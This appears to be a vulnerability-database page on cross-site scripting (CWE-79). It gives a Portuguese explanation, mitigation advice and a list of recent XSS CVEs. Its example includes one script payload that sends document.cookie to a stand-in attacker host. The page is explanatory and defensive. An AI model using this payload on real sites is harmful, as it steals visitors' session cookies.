Fallos del tipo CWE-79

30.303 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-64576MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%CVE-2025-64572MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%CVE-2025-49413HIGHWordPress Super Store Finder Plugin <= 7.6 - Reflected Cross Site Scripting (XSS) VulnerabilityEPSS 0.3%CVE-2026-3766MEDIUMSourceCodester Web-based Pharmacy Product Management System edit-profile.php cross site scriptingEPSS 0.3%CVE-2025-64821MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%CVE-2026-26991MEDIUMLibreNMS vulnerable to Stored Cross-site Scripting through unsanitized /device-groups nameEPSS 0.3%CVE-2025-64620MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%CVE-2025-64558MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%CVE-2025-64789MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%CVE-2025-64603MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%CVE-2025-64583MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.3%CVE-2025-13627MEDIUMMakesweat <= 0.1 - Authenticated (Administrator+) Stored Cross-Site Scripting via 'makesweat_clubid' SettingEPSS 0.3%CVE-2025-64616MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%CVE-2025-49956HIGHWordPress Fade Slider plugin <= 2.5 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-56356MEDIUMn8n - Stored Cross-Site Scripting in Chat Trigger Node Custom CSS FieldEPSS 0.3%CVE-2025-64605MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%CVE-2025-10075MEDIUMSourceCodester Online Polling System manage-profile.php cross site scriptingEPSS 0.3%CVE-2025-12280MEDIUMcode-projects Client Details System update-clients.php cross site scriptingEPSS 0.3%CVE-2025-52750HIGHWordPress Emu2 plugin <= 0.83b - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-64557MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%